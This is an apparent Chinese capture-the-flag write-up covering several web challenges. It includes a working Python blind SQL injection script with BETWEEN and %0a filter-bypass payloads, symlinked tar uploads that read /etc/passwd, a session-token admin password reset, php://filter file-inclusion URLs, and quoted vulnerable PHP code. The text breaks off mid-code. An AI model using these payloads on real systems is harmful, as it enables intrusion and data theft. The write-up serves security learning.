考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好
手速要快
上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的功能,这里的上传是服务器端的问题
直接上传一个非php
结尾的文件即可解析
然后可以直接输入相关命令获取flag不多说
好黑的黑名单
这个题目质量很好,至少我以前都没见过这种盲注,里面利用了between的几个特性,又学到了2333
右键查看源代码就会发现很明显的id
参数,这里的思路就是SQL注入
尝试对其进行注入,发现其明显是存在过滤的,一旦遇到关键字就会返回这么坏?想让我下面给你吃吗?XD
的字样
如果查询不到的话就会返回想让我下面给你吃?
fuzz一下大概发现过滤的东西有空格,*,union,单引号
等等,所以我们就不可以用内联的注入,这里空格我们可以用%0a
去绕过,测试一下
下面就是这次盲注的重点知识利用between and
上面两个执行语句就解释了为什么可以这样做,当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个
而且还可以固定好最后一位,然后前面一步步去字母给找出
但是把数据库跑出来以后后面继续加上空格还是会显示1,这在写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables
被过滤可以使用information_schema%0a.tables
这样去绕过
#!/usr/bin/python
# Author:0verWatch
import requests
burl = 'http://101.71.29.5:10008/show.php?id=-1'
flag = 0
ans = ''
result = ''
for i in range(40):
if flag == 0:
for j in range(127,32,-1):
if j == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
#payload = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #admin,flaggg,menu
#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #id,f1agg
payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
url = burl+ payload
con = requests.get(url)
# print(con.text)
if u"郑州" in con.text:
ans = ans + chr(j)
print(result)
result = result + hex(j)[2:4]
break
print(ans)
interesting web
这个题目上来就发现有注册,登录,找回密码的功能,通常我们需要注册看一下
登陆之后发现上传页面,但是根据页面一开始提示说明管理员才可以上传tar
包,这里就容易想到软连接,但是首先我们得以admin
身份登录,这时候根据http可以发现这应该是flask
框架写的web
这里有一个点就是flask
框架的session
可以在浏览器端查看,并且可以读取里面的token
值,
这东西可以利用在找回密码的功能上面
这里面的token值我们可以用来直接修改admin的密码,这东西恰好就是修改密码需要的东西
然后再以admin身份登录,上一个软连接的tar包,先构造一下tar包
ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg
image up
一上来就是个登录页面其实这个登录页面没有用,你随便输如都可以登录到后台上传页面
可以看到url,可能存在文件包含,尝试一下读取文件,可以读到一下index以及upload页面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
index.php
<? php
if (isset($_GET['page'])) {
if (!stristr($_GET['page'], "..")) {
$page = $_GET['page'].".php";
include($page);
} else {
header("Location: index.php?page=login");
}
} else {
header("Location: index.php?page=login");
这里的代码验证不需要任何检验就可以登录
<? php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if ((@$_upfileS["image"]["size"] < 102400)) {
if (in_array($extension, $exts)) {
$path